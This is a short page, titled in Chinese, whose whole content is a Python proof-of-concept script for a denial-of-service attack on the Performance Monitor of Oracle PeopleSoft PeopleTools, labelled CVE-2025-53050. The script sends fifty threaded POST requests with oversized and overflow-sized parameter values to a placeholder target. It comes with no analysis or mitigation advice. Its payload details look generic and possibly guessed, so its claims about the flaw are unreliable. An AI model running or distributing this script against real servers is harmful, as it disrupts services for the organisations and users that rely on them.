CVE-2025-53050 Oracle PeopleSoft PeopleTools 拒绝服务漏洞

# CVE-2025-53050 Oracle PeopleSoft PeopleTools Performance Monitor DoS PoC # This PoC demonstrates a Denial of Service attack against the Performance Monitor component # Affected versions: PeopleTools 8.60, 8.61, 8.62 import requests import threading import time TARGET_URL = "https://target-host:port/psp/ps/" # Performance Monitor servlet endpoint PM_ENDPOINT = "/psp/ps/?cmd=start&srtDef=psmon" def send_dos_request(target_url): """Send malicious HTTP request to trigger DoS in Performance Monitor""" headers = { "User-Agent": "Mozilla/5.0 (compatible; DoS-PoC)", "Content-Type": "application/x-www-form-urlencoded", "Accept": "*/*" } # Craft malicious payload targeting Performance Monitor payload = { "ICType": "13", # Performance Monitor type "ICXNum": "999999999", # Large value to cause resource exhaustion "MAXVAL": "2147483647", # Integer overflow trigger } try: response = requests.post( target_url + PM_ENDPOINT, headers=headers, data=payload, timeout=10, verify=False ) print(f"[+] Request sent - Status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Request failed (possible DoS triggered): {e}") def exploit(target_url, thread_count=50): """Launch concurrent DoS attack against PeopleSoft Performance Monitor""" print(f"[*] Starting CVE-2025-53050 DoS attack against: {target_url}") threads = [] for i in range(thread_count): t = threading.Thread(target=send_dos_request, args=(target_url,)) threads.append(t) t.start() time.sleep(0.1) for t in threads: t.join() print("[*] Attack completed") if __name__ == "__main__": exploit(TARGET_URL)